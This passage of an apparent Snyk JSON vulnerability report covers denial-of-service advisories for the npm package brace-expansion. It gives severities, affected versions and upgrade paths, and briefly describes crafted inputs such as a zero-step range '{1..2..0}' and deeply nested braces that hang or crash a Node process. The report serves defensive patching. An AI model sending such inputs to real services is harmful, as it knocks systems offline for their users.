"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub 